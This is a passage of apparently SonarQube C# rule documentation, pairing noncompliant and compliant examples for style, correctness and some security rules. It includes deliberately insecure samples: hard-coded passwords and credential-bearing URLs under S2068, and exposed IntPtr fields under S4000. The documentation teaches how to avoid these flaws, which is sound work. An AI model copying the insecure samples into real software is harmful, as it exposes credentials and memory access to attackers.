Func<object, bool> item1 = o => { return true; }; // Compliant
Func<object, bool> item1 = o => { var r = false; return r; }; // Noncompliant
csharpsquid:S2197

When the modulus of a negative number is calculated, the result will either be negative or zero. Thus, comparing the modulus of a variable for equality with a positive number (or a negative one) could result in unexpected results.

Noncompliant Code Example

public bool IsOdd(int x)
{
  return x % 2 == 1;  // Noncompliant; if x is an odd negative, x % 2 == -1
}

Compliant Solution

public bool IsOdd(int x)
{
  return x %2 != 0;
}

or

public bool IsOdd(uint x)
{
  return x %2 == 1;
}

See

  • CERT, NUM51-J. - Do not assume that the remainder operator always returns a nonnegative result for integral operands
  • CERT, INT10-C - Do not assume a positive remainder when using the % operator
csharpsquid:S4136

For clarity, all overloads of the same method should be grouped together. That lets both users and maintainers quickly understand all the current available options.

Noncompliant Code Example

interface IMyInterface
{
  int DoTheThing(); // Noncompliant - overloaded method declarations are not grouped together
  string DoTheOtherThing();
  int DoTheThing(string s);
}

Compliant Solution

interface IMyInterface
{
  int DoTheThing();
  int DoTheThing(string s);
  string DoTheOtherThing();
}

Exceptions

As it is common practice to group method declarations by implemented interface, no issue will be raised for implicit and explicit interface implementations if grouped together with other members of that interface.

As it is also a common practice to group method declarations by accessibility level, no issue will be raised for method overloads having different access modifiers.

Example:

class MyClass
{
  private void DoTheThing(string s) // Ok - this method is declared as private while the other one is public
  {
    // ...
  }

  private string DoTheOtherThing(string s)
  {
    // ...
  }

  public void DoTheThing()
  {
    // ...
  }
}
csharpsquid:S3168

An async method with a void return type is a "fire and forget" method best reserved for event handlers because there's no way to wait for the method's execution to complete and respond accordingly. There's also no way to catch exceptions thrown from the method.

Having an async void method that is not an event handler could mean your program works some times and not others because of timing issues. Instead, async methods should return Task.

This rule raises an issue when non-event handler methods are both async and void.

Noncompliant Code Example

class HttpPrinter
{
  private string content;

  public async void CallNetwork(string url) //Noncompliant
  {
    var client = new HttpClient();
    var response = await client.GetAsync(url);
    content = await response.Content.ReadAsStringAsync();
  }

  public async Task PrintContent(string url)  // works correctly if web request finishes in under 1 second, otherwise content will be null
  {
    CallNetwork(url);
    await Task.Delay(1000);
    Console.Write(content);
  }
}

Compliant Solution

class HttpPrinter
{
  private string content;

  public async Task CallNetwork(string url)
  {
    var client = new HttpClient();
    var response = await client.GetAsync(url);
    content = await response.Content.ReadAsStringAsync();
  }

  public async Task PrintContent(string url)
  {
    await CallNetwork(url); // <----- call changed here. If await is not added warning CS4014 will be triggered
    await Task.Delay(1000);
    Console.Write(content);
  }
}

Exceptions

Event handlers, i.e. methods with two arguments, first one matching object sender and the second being or inheriting from EventArgs, are ignored.

csharpsquid:S4015

Changing an inherited member to private will not prevent access to the base class implementation.

This rule raises an issue when a private method in an unsealed type has a signature that is identical to a public method declared in a base type.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public class Foo
  {
    public void SomeMethod(int count) { }
  }
  public class Bar:Foo
  {
    private void SomeMethod(int count) { } // Noncompliant
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  public class Foo
  {
    public void SomeMethod(int count) { }
  }
  public sealed class Bar : Foo
  {
    private void SomeMethod(int count) { }
  }
}
csharpsquid:S121

While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance.

Noncompliant Code Example

// the two statements seems to be attached to the if statement, but that is only true for the first one:
if (condition)
  ExecuteSomething();
  CheckSomething();

Compliant Solution

if (condition)
{
  ExecuteSomething();
  CheckSomething();
}

See

  • CERT, EXP19-C. - Use braces for the body of an if, for, or while statement
  • CERT, EXP52-J. - Use braces for the body of an if, for, or while statement
csharpsquid:S4017

A nested type is a type argument that is also a generic type. Calling a method with such a nested type argument requires complicated and confusing code. It should be avoided as much as possible.

Noncompliant Code Example

using System;
using System.Collections.Generic;

namespace MyLibrary
{
  public class Foo
  {
    public void DoSomething(ICollection<ICollection<int>> outerCollect) // Noncompliant
    {
    }
  }
}
csharpsquid:S1541

The cyclomatic complexity of methods and properties should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain.

csharpsquid:S3962

The value of a static readonly field is computed at runtime while the value of a const field is calculated at compile time, which improves performance.

This rule raises an issue when a static readonly field is initialized with a value that is computable at compile time.

As specified by Microsoft, the list of types that can have a constant value are:

C# type .Net Fwk type
bool System.Boolean
byte System.Byte
sbyte System.SByte
char System.Char
decimal System.Decimal
double System.Double
float System.Single
int System.Int32
uint System.UInt32
long System.Int64
ulong System.UInt64
short System.Int16
ushort System.UInt16
string System.String

Noncompliant Code Example

namespace myLib
{
  public class Foo
  {
    static readonly int x = 1;  // Noncompliant
    static readonly int y = x + 4; // Noncompliant
    static readonly string s = "Bar";  // Noncompliant
  }
}

Compliant Solution

namespace myLib
{
  public class Foo
  {
    const int x = 1;
    const int y = x + 4;
    const string s = "Bar";
  }
}
csharpsquid:S4016

If an enum member's name contains the word "reserved" it implies it is not currently used and will be change in the future. However changing an enum member is a breaking change and can create significant problems. There is no need to reserve an enum member since a new member can be added in the future, and such an addition will usually not be a breaking change.

This rule raises an issue when the name of an enumeration member contains "reserved".

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public enum Color
  {
        None,
        Red,
        Orange,
        Yellow,
        ReservedColor  // Noncompliant
    }
}
csharpsquid:S3169

There's no point in chaining multiple OrderBy calls in a LINQ; only the last one will be reflected in the result because each subsequent call completely reorders the list. Thus, calling OrderBy multiple times is a performance issue as well, because all of the sorting will be executed, but only the result of the last sort will be kept.

Instead, use ThenBy for each call after the first.

Noncompliant Code Example

var x = personList
  .OrderBy(person => person.Age)
  .OrderBy(person => person.Name)  // Noncompliant
  .ToList();  // x is sorted by Name, not sub-sorted

Compliant Solution

var x = personList
  .OrderBy(person => person.Age)
  .ThenBy(person => person.Name)
  .ToList();
csharpsquid:S4019

When a method in a derived class has the same name as a method in the base class but with a signature that only differs by types that are weakly derived (e.g. object vs string), the result is that the base method becomes hidden.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  class Foo
  {
    internal void SomeMethod(string s1, string s2) { }
  }

  class Bar : Foo
  {
    internal void SomeMethod(string s1, object o2) { }  // Noncompliant
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  class Foo
  {
    internal void SomeMethod(string s1, string s2) { }
  }

  class Bar : Foo
  {
    internal void SomeOtherMethod(string s1, object o2) { }
  }
}
csharpsquid:S1301

switch statements and expressions are useful when there are many different cases depending on the value of the same expression.

When a switch statement or expression is simple enough, the code will be more readable with a single if, if-else or ternary conditional operator.

Noncompliant Code Example

switch (variable)
{
  case 0:
    doSomething();
    break;
  default:
    doSomethingElse();
    break;
}

var foo = variable switch
{
  0 => doSomething(),
  _ => doSomethingElse(),
}

Compliant Solution

if (variable == 0)
{
  doSomething();
}
else
{
  doSomethingElse();
}

var foo = variable == 0
  ? doSomething()
  : doSomethingElse();
csharpsquid:S2996

When an object has a field annotated with ThreadStatic, that field is shared within a given thread, but unique across threads. Since a class' static initializer is only invoked for the first thread created, it also means that only the first thread will have the expected initial values.

Instead, allow such fields to be initialized to their default values or make the initialization lazy.

Noncompliant Code Example

public class Foo
{
  [ThreadStatic]
  public static object PerThreadObject = new object(); // Noncompliant. Will be null in all the threads except the first one.
}

Compliant Solution

public class Foo
{
  [ThreadStatic]
  public static object _perThreadObject;
  public static object PerThreadObject
  {
    get
    {
      if (_perThreadObject == null)
      {
        _perThreadObject = new object();
      }
      return _perThreadObject;
    }
  }
}
csharpsquid:S4018

The best way to determine the type of a generic method is by inference based on the type of argument that is passed to the method. This is not possible when a parameter type is missing from the argument list.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public class Foo
  {
    public void MyMethod<T>()  // Noncompliant
    {
    }
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  public class Foo
  {
    public void MyMethod<T>(T param)
    {
    }
  }
}
csharpsquid:S3963

When a static constructor serves no other purpose that initializing static fields, it comes with an unnecessary performance cost because the compiler generates a check before each static method or instance constructor invocation.

Instead, inline initialization is highly recommended.

Noncompliant Code Example

namespace myLib
{
  public class Foo
  {
    static int i;
    static string s;

    static Foo() // Noncompliant
    {
      i = 3;
      ResourceManager sm =  new ResourceManager("strings", Assembly.GetExecutingAssembly());
      s = sm.GetString("mystring");
    }
  }
}

Compliant Solution

namespace myLib
{
  public class Foo
  {
    static int i =3;
    static string s = InitString();

    static string InitString()
    {
      ResourceManager sm = new ResourceManager("strings", Assembly.GetExecutingAssembly());
      return sm.GetString("mystring");
    }
  }
}
csharpsquid:S3600

Adding params to a method override has no effect. The compiler accepts it, but the callers won't be able to benefit from the added modifier.

Noncompliant Code Example

class Base
{
  public virtual void Method(int[] numbers)
  {
    ...
  }
}
class Derived : Base
{
  public override void Method(params int[] numbers) // Noncompliant, method can't be called with params syntax.
  {
    ...
  }
}

Compliant Solution

class Base
{
  public virtual void Method(int[] numbers)
  {
    ...
  }
}
class Derived : Base
{
  public override void Method(int[] numbers)
  {
    ...
  }
}
csharpsquid:S2995

Using Object.ReferenceEquals to compare the references of two value types simply won't return the expected results most of the time because such types are passed by value, not by reference.

Noncompliant Code Example

public class MyClass
{
  private MyStruct myStruct;

  public void DoSomething(MyStruct s1) {
    int a = 1;
    int b = 1;

    if (Object.ReferenceEquals(myStruct, s1))  // Noncompliant; this can never be true
    {
      // ...
    }
    else if (Object.ReferenceEquals(a,b)) // Noncompliant
    {
      // ...
    }
  }
}
csharpsquid:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

for (int i = 0; i < 42; i++){}  // Empty on purpose or missing piece of code ?

Exceptions

When a block contains a comment, this block is not considered to be empty.

csharpsquid:S109

A magic number is a number that comes out of nowhere, and is directly used in a statement. Magic numbers are often used, for instance to limit the number of iterations of a loop, to test the value of a property, etc.

Using magic numbers may seem obvious and straightforward when you're writing a piece of code, but they are much less obvious and straightforward at debugging time.

That is why magic numbers must be demystified by first being assigned to clearly named variables before being used.

-1, 0 and 1 are not considered magic numbers.

Noncompliant Code Example

public static void DoSomething()
{
    for(int i = 0; i < 4; i++)  // Noncompliant, 4 is a magic number
    {
        ...
    }
}

Compliant Solution

private const int NUMBER_OF_CYCLES = 4;

public static void DoSomething()
{
    for(int i = 0; i < NUMBER_OF_CYCLES ; i++)  //Compliant
    {
        ...
    }
}

Exceptions

This rule doesn't raise an issue when the magic number is used as part of the GetHashCode method or a variable/field declaration.

csharpsquid:S106

When logging a message there are several important requirements which must be fulfilled:

  • The user must be able to easily retrieve the logs
  • The format of all logged message must be uniform to allow the user to easily read the log
  • Logged data must actually be recorded
  • Sensitive data must only be logged securely

If a program directly writes to the standard outputs, there is absolutely no way to comply with those requirements. That's why defining and using a dedicated logger is highly recommended.

Noncompliant Code Example

private void DoSomething()
{
    // ...
    Console.WriteLine("so far, so good..."); // Noncompliant
    // ...
}

Exceptions

The following are ignored by this rule:

  • Console Applications
  • Calls in methods decorated with [Conditional ("DEBUG")]
  • Calls included in DEBUG preprocessor branches (#if DEBUG)

See

csharpsquid:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

public void doSomething(int param1, int param2, int param3, string param4, long param5)
{
...
}

Compliant Solution

public void doSomething(int param1, int param2, int param3, string param4)
{
...
}
csharpsquid:S2183

Shifting an integral number by 0 is equivalent to doing nothing but makes the code confusing for maintainers.

If the first operand is an int or uint (32-bit quantity), the shift count is given by the low-order five bits of the second operand. That is, the actual shift count is 0 to 31 bits.

Note that integral number with a less than 32-bit quantity (e.g. short, ushort...) are implicitly converted to int before the shifting operation and so the rule for int/uint applies.

If the first operand is a long or ulong (64-bit quantity), the shift count is given by the low-order six bits of the second operand. That is, the actual shift count is 0 to 63 bits.

Noncompliant Code Example

public void Main()
{
    short s = 1;
    short shortShift1 = (short)(s << 0); // Noncompliant
    short shortShift1 = (short)(s << 16); // Compliant as short will be cast to int (16 is between 0 and 31)
    short shortShift3 = (short)(s << 32); // Noncompliant, this is equivalent to shifting by 1

    int i = 1;
    int intShift1 = i << 0; // Noncompliant
    int intShift2 = i << 32; // Noncompliant, this is equivalent to shifting by 1

    long lg = 1;
    long longShift1 = lg << 0; // Noncompliant
    long longShift2 = lg << 64; // Noncompliant, this is equivalent to shifting by 1
}

Compliant Solution

public void Main()
{
    short s = 1;
    short shortShift1 = s;
    short shortShift1 = (short)(s << 16);
    short shortShift3 = (short)(s << 1);

    int i = 1;
    var intShift1 = i;
    var intShift2 = i << 1;

    long lg = 1;
    var longShift1 = lg;
    var longShift2 = lg << 1;
}

Exceptions

This rule doesn't raise an issue when the shift by zero is obviously for cosmetic reasons:

  • When the value shifted is a literal.
  • When there is a similar shift at the same position on line before or after. E.g.:
bytes[loc+0] = (byte)(value >> 8);
bytes[loc+1] = (byte)(value >> 0);

See

csharpsquid:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

csharpsquid:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

csharpsquid:S4000

The IntPtr and UIntPtr types are used to access unmanaged memory, usually in order to use C or C++ libraries. If such a pointer is not secured by making it private, internal or readonly, it can lead to a vulnerability allowing access to arbitrary locations.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  public class MyClass
  {
    public IntPtr myPointer;  // Noncompliant
    protected UIntPtr myOtherPointer; // Noncompliant
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  public class MyClass
  {
    private IntPtr myPointer;
    protected readonly UIntPtr myOtherPointer;
  }
}
csharpsquid:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

csharpsquid:S2184

When division is performed on ints, the result will always be an int. You can assign that result to a double, float or decimal with automatic type conversion, but having started as an int, the result will likely not be what you expect. If the result of int division is assigned to a floating-point variable, precision will have been lost before the assignment. Instead, at least one operand should be cast or promoted to the final type before the operation takes place.

Noncompliant Code Example

static void Main()
{
  decimal dec = 3/2; // Noncompliant
  Method(3/2); // Noncompliant
}

static void Method(float f) { }

Compliant Solution

static void Main()
{
  decimal dec = (decimal)3/2;
  Method(3.0F/2);
}

static void Method(float f) { }

See

  • MITRE, CWE-190 - Integer Overflow or Wraparound
  • CERT, NUM50-J. - Convert integers to floating point for floating-point operations
  • CERT, INT18-C. - Evaluate integer expressions in a larger size before comparing or assigning to that size
  • SANS Top 25 - Risky Resource Management
csharpsquid:S907

goto is an unstructured control flow statement. It makes code less readable and maintainable. Structured control flow statements such as if, for, while, continue or break should be used instead.

csharpsquid:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

public void SetName(string name)
{
  name = name;
}

Compliant Solution

public void SetName(string name)
{
  this.name = name;
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
csharpsquid:S3956

System.Collections.Generic.List<T> is a generic collection that is designed for performance and not inheritance. For example, it does not contain virtual members that make it easier to change the behavior of an inherited class. That means that future attempts to expand the behavior will be spoiled because the extension points simply aren't there. Instead, one of the following generic collections should be used:

  • System.Collections.Generic.IEnumerable<T>
  • System.Collections.Generic.IReadOnlyCollection<T>
  • System.Collections.Generic.ICollection<TKey>
  • System.Collections.Generic.IReadOnlyList<T>
  • System.Collections.Generic.IList<TKey>
  • System.Collections.ObjectModel.Collection<T>
  • System.Collections.ObjectModel.ReadOnlyCollection<T>
  • System.Collections.ObjectModel.KeyedCollection<TKey, Titem>

This rule raises an issue every time a System.Collections.Generic.List<T> is exposed:

  • As an externally visible member.
  • As the return type of an externally visible method.
  • As a parameter type of an an externally visible method.

Noncompliant Code Example

namespace Foo
{
   public class Bar
   {
      public List<T> Method1(T arg) // Noncompliant
      {
           //...
      }
   }
}

Compliant Solution

namespace Foo
{
   public class Bar
   {
      public Collection<T> Method1(T arg)
      {
           //...
      }
   }
}
csharpsquid:S1659

Declaring multiple variable on one line is difficult to read.

Noncompliant Code Example

class MyClass
{
  private int a, b; // Noncompliant

  public void Method()
  {
    int c, d; // Noncompliant
  }
}

Compliant Solution

class MyClass
{
  private int a;
  private int b;

  public void Method()
  {
    int c;
    int d;
  }
}

See

  • CERT, DCL52-J. - Do not declare more than one variable per declaration
  • CERT, DCL04-C. - Do not declare more than one variable per declaration
csharpsquid:S3717

NotImplementedException is often used to mark methods which must be implemented for the overall functionality to be complete, but which the developer wants to implement later. That's as opposed to the NotSupportedException which is thrown by methods which are required by base classes or interfaces, but which are not appropriate to the current class.

This rule raises an exception when NotImplementedException is thrown.

Noncompliant Code Example

void doTheThing()
{
    throw new NotImplementedException();
}

Exceptions

Exceptions derived from NotImplementedException are ignored.

csharpsquid:S4002

This rule raises an issue when a disposable type contains fields of the following types and does not implement a finalizer:

  • System.IntPtr
  • System.UIntPtr
  • System.Runtime.InteropService.HandleRef

Noncompliant Code Example

using System;
using System.Runtime.InteropServices;

namespace MyLibrary
{
  public class Foo : IDisposable // Noncompliant: Doesn't have a finalizer
  {
    private IntPtr myResource;
    private bool disposed = false;

    protected virtual void Dispose(bool disposing)
    {
      if (!disposed)
      {
        // Dispose of resources held by this instance.
        FreeResource(myResource);
        disposed = true;

        // Suppress finalization of this disposed instance.
        if (disposing)
        {
          GC.SuppressFinalize(this);
        }
      }
    }

    public void Dispose() {
      Dispose(true);
    }
  }
}

Compliant Solution

using System;
using System.Runtime.InteropServices;

namespace MyLibrary
{
  public class Foo : IDisposable
  {
    private IntPtr myResource;
    private bool disposed = false;

    protected virtual void Dispose(bool disposing)
    {
      if (!disposed)
      {
        // Dispose of resources held by this instance.
        FreeResource(myResource);
        disposed = true;

        // Suppress finalization of this disposed instance.
        if (disposing)
        {
          GC.SuppressFinalize(this);
        }
      }
    }

    ~Foo()
    {
      Dispose(false);
    }
  }
}

See

  • Related: S3881 - "IDisposable" should be implemented correctly
csharpsquid:S3397

object.Equals() overrides can be optimized by checking first for reference equality between this and the parameter. This check can be implemented by calling object.ReferenceEquals() or base.Equals(), where base is object. However, using base.Equals() is a maintenance hazard because while it works if you extend Object directly, if you introduce a new base class that overrides Equals, it suddenly stops working.

This rule raises an issue if base.Equals() is used but base is not object.

Noncompliant Code Example

class Base
{
  private int baseField;

  public override bool Equals(object other)
  {
    if (base.Equals(other)) // Okay; base is object
    {
      return true;
    }

    return this.baseField == ((Base)other).baseField;
  }
}

class Derived : Base
{
  private int derivedField;

  public override bool Equals(object other)
  {
    if (base.Equals(other))  // Noncompliant
    {
      return true;
    }

    return this.derivedField == ((Derived)other).derivedField;
  }
}

Compliant Solution

class Base
{
  private int baseField;

  public override bool Equals(object other)
  {
    if (object.ReferenceEquals(this, other))  // base.Equals is okay here, but object.ReferenceEquals is better
    {
      return true;
    }

    return this.baseField == ((Base)other).baseField;
  }
}

class Derived : Base
{
  private int derivedField;

  public override bool Equals(object other)
  {
    if (object.ReferenceEquals(this, other))
    {
      return true;
    }

    return base.Equals(other) && this.derivedField == ((Derived)other).derivedField;
  }
}
csharpsquid:S2187

There's no point in having a test class without any test methods.This could lead a maintainer to assume a class is covered by tests even though it is not.

Supported test frameworks are NUnit and MSTest (not applicable to xUnit).

This rule will raise an issue when any of these conditions are met:

  • For NUnit, a class is marked with TestFixture but does not contain any method marked with Test, TestCase, TestCaseSource or Theory.
  • For MSTest, a class is marked with TestClass but does not contain any method marked with TestMethod or DataTestMethod.

Noncompliant Code Example

[TestFixture]
public class SomeClassTest { } // Noncompliant - no test

[TestClass]
public class SomeOtherClassTest { } // Noncompliant - no test

Compliant Solution

[TestFixture]
public class SomeClassTest
{
    [Test]
    public void SomeMethodShouldReturnTrue() { }
}

[TestClass]
public class SomeOtherClassTest
{
    [TestMethod]
    public void SomeMethodShouldReturnTrue() { }
}

Exceptions

  • abstract classes
  • derived classes that inherit from a base class that does have test methods
  • in MSTest, classes that contain methods marked with either AssemblyInitialize or AssemblyCleanup.
csharpsquid:S4487

Private fields only used to store values without reading them later is a case of dead store. So changing the value of such field is useless and most probably indicates a serious error in the code.

Noncompliant Code Example

public class Rectangle
{
  private readonly int length;
  private readonly int width;  // width is written but never read

  public Rectangle(int length, int width)
  {
    this.length = length;
    this.width = width;
  }

  public int Surface
  {
    get
    {
      return length * length;
    }
  }
}

Compliant Solution

public class Rectangle
{
  private readonly int length;
  private readonly int width;

  public Rectangle(int length, int width)
  {
    this.length = length;
    this.width= width;
  }

  public int Surface
  {
    get
    {
      return length * width;
    }
  }
}

See

csharpsquid:S112

Throwing such general exceptions as Exception, SystemException, ApplicationException, IndexOutOfRangeException, NullReferenceException, OutOfMemoryException and ExecutionEngineException prevents calling methods from handling true, system-generated exceptions differently than application-generated errors.

Noncompliant Code Example

public void DoSomething(object obj)
{
  if (obj == null)
  {
    throw new NullReferenceException("obj");  // Noncompliant
  }
  // ...
}

Compliant Solution

public void DoSomething(object obj)
{
  if (obj == null)
  {
    throw new ArgumentNullException("obj");
  }
  // ...
}

See

csharpsquid:S4004

A writable collection property can be replaced by a completely different collection. Making it readonly prevents that while still allowing individual members to be set. If you want to allow the replacement of the whole collection the recommended pattern is to implement a method to remove all the elements (e.g. System.Collections.List<T>.Clear) and a method to populate the collection (e.g. System.Collections.List<T>.AddRange).

This rule raises an issue when an externally visible writable property is of a type that implements System.Collections.ICollection or System.Collections.Generic.ICollection<T>.

Noncompliant Code Example

using System;
using System.Collections;

namespace MyLibrary
{
  public class Foo
  {
    List<string> strings;

    public List<string> SomeStrings
    {
      get { return strings; }
      set { strings = value; } // Noncompliant
    }
  }
}

Compliant Solution

using System;
using System.Collections;

namespace MyLibrary
{
  public class Foo
  {
    List<string> strings;

    public readonly List<string> SomeStrings
    {
      get { return strings; }
    }
  }
}

Exceptions

This rule does not raise issues for

  • string, Array and PermissionSet,
  • properties marked as DataMemberAttribute
  • classes marked as Serializable
  • properties overriding a base class member
  • properties implementing interface

 

csharpsquid:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use your cloud provider's service for managing secrets.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

string username = "admin";
string password = "Admin123"; // Sensitive
string usernamePassword  = "user=admin&password=Admin123"; // Sensitive
string url = "scheme://user:Admin123@domain.com"; // Sensitive

Compliant Solution

string username = "admin";
string password = GetEncryptedPassword();
string usernamePassword = string.Format("user={0}&password={1}", GetEncryptedUsername(), GetEncryptedPassword());
string url = $"scheme://{username}:{password}@domain.com";

string url2 = "http://guest:guest@domain.com"; // Compliant
const string Password_Property = "custom.password"; // Compliant

Exceptions

  • Issue is not raised when URI username and password are the same.
  • Issue is not raised when searched pattern is found in variable name and value.

See

csharpsquid:S110

Inheritance is certainly one of the most valuable concepts in object-oriented programming. It's a way to compartmentalize and reuse code by creating collections of attributes and behaviors called classes which can be based on previously created classes. But abusing this concept by creating a deep inheritance tree can lead to very complex and unmaintainable source code. Most of the time a too deep inheritance tree is due to bad object oriented design which has led to systematically use 'inheritance' when for instance 'composition' would suit better.

This rule raises an issue when the inheritance tree, starting from Object has a greater depth than is allowed.

csharpsquid:S4005

String representations of URIs or URLs are prone to parsing and encoding errors which can lead to vulnerabilities. The System.Uri class is a safe alternative and should be preferred.

This rule raises an issue when a called method has a string parameter with a name containing "uri", "Uri", "urn", "Urn", "url" or "Url" and the declaring type contains a corresponding overload that takes a System.Uri as a parameter.

When there is a choice between two overloads that differ only regarding the representation of a URI, the user should choose the overload that takes a System.Uri argument.

Noncompliant Code Example

using System;

namespace MyLibrary
{
   public class Foo
   {
      public void FetchResource(string uriString) { }
      public void FetchResource(Uri uri) { }

      public string ReadResource(string uriString, string name, bool isLocal) { }
      public string ReadResource(Uri uri, string name, bool isLocal) { }

      public void Main() {
        FetchResource("http://www.mysite.com"); // Noncompliant
        ReadResource("http://www.mysite.com", "foo-resource", true); // Noncompliant
      }
   }
}

Compliant Solution

using System;

namespace MyLibrary
{
   public class Foo
   {
      public void FetchResource(string uriString) { }
      public void FetchResource(Uri uri) { }

      public string ReadResource(string uriString, string name, bool isLocal) { }
      public string ReadResource(Uri uri, string name, bool isLocal) { }

      public void Main() {
        FetchResource(new Uri("http://www.mysite.com"));
        ReadResource(new Uri("http://www.mysite.com"), "foo-resource", true);
      }
   }
}
csharpsquid:S2743

A static field in a generic type is not shared among instances of different closed constructed types, thus LengthLimitedSingletonCollection<int>.instances and LengthLimitedSingletonCollection<string>.instances will point to different objects, even though instances is seemingly shared among all LengthLimitedSingletonCollection<> generic classes.

If you need to have a static field shared among instances with different generic arguments, define a non-generic base class to store your static members, then set your generic type to inherit from the base class.

Noncompliant Code Example

public class LengthLimitedSingletonCollection<T> where T : new()
{
  protected const int MaxAllowedLength = 5;
  protected static Dictionary<Type, object> instances = new Dictionary<Type, object>(); // Noncompliant

  public static T GetInstance()
  {
    object instance;

    if (!instances.TryGetValue(typeof(T), out instance))
    {
      if (instances.Count >= MaxAllowedLength)
      {
        throw new Exception();
      }
      instance = new T();
      instances.Add(typeof(T), instance);
    }
    return (T)instance;
  }
}

Compliant Solution

public class SingletonCollectionBase
{
  protected static Dictionary<Type, object> instances = new Dictionary<Type, object>();
}

public class LengthLimitedSingletonCollection<T> : SingletonCollectionBase where T : new()
{
  protected const int MaxAllowedLength = 5;

  public static T GetInstance()
  {
    object instance;

    if (!instances.TryGetValue(typeof(T), out instance))
    {
      if (instances.Count >= MaxAllowedLength)
      {
        throw new Exception();
      }
      instance = new T();
      instances.Add(typeof(T), instance);
    }
    return (T)instance;
  }
}

Exceptions

If the static field or property uses a type parameter, then the developer is assumed to understand that the static member is not shared among the closed constructed types.

public class Cache<T>
{
   private static Dictionary<string, T> CacheDictionary { get; set; } // Compliant
}
csharpsquid:S4792

Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities:

Logs are useful before, during and after a security incident.

  • Attackers will most of the time start their nefarious work by probing the system for vulnerabilities. Monitoring this activity and stopping it is the first step to prevent an attack from ever happening.
  • In case of a successful attack, logs should contain enough information to understand what damage an attacker may have inflicted.

Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged.

This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews.

Ask Yourself Whether

  • unauthorized users might have access to the logs, either because they are stored in an insecure location or because the application gives access to them.
  • the logs contain sensitive information on a production server. This can happen when the logger is in debug mode.
  • the log can grow without limit. This can happen when additional information is written into logs every time a user performs an action and the user can perform the action as many times as he/she wants.
  • the logs do not contain enough information to understand the damage an attacker might have inflicted. The loggers mode (info, warn, error) might filter out important information. They might not print contextual information like the precise time of events or the server hostname.
  • the logs are only stored locally instead of being backuped or replicated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Check that your production deployment doesn't have its loggers in "debug" mode as it might write sensitive information in logs.
  • Production logs should be stored in a secure location which is only accessible to system administrators.
  • Configure the loggers to display all warnings, info and error messages. Write relevant information such as the precise time of events and the hostname.
  • Choose log format which is easy to parse and process automatically. It is important to process logs rapidly in case of an attack so that the impact is known and limited.
  • Check that the permissions of the log files are correct. If you index the logs in some other service, make sure that the transfer and the service are secure too.
  • Add limits to the size of the logs and make sure that no user can fill the disk with logs. This can happen even when the user does not control the logged information. An attacker could just repeat a logged action many times.

Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:

  • Don't log any sensitive information. This obviously includes passwords and credit card numbers but also any personal information such as user names, locations, etc... Usually any information which is protected by law is good candidate for removal.
  • Sanitize all user inputs before writing them in the logs. This includes checking its size, content, encoding, syntax, etc... As for any user input, validate using whitelists whenever possible. Enabling users to write what they want in your logs can have many impacts. It could for example use all your storage space or compromise your log indexing service.
  • Log enough information to monitor suspicious activities and evaluate the impact an attacker might have on your systems. Register events such as failed logins, successful logins, server side input validation failures, access denials and any important transaction.
  • Monitor the logs for any suspicious activity.

Sensitive Code Example

.Net Core: configure programmatically

using System;
using System.Collections;
using System.Collections.Generic;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Options;
using Microsoft.AspNetCore;

namespace MvcApp
{
    public class ProgramLogging
    {
        public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
            WebHost.CreateDefaultBuilder(args)
                .ConfigureLogging((hostingContext, logging) => // Sensitive
                {
                    // ...
                })
                .UseStartup<StartupLogging>();
    }

    public class StartupLogging
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddLogging(logging => // Sensitive
            {
                // ...
            });
        }

        public void Configure(IApplicationBuilder app, IHostingEnvironment env, ILoggerFactory loggerFactory)
        {
            IConfiguration config = null;
            LogLevel level = LogLevel.Critical;
            Boolean includeScopes = false;
            Func<string,Microsoft.Extensions.Logging.LogLevel,bool> filter = null;
            Microsoft.Extensions.Logging.Console.IConsoleLoggerSettings consoleSettings = null;
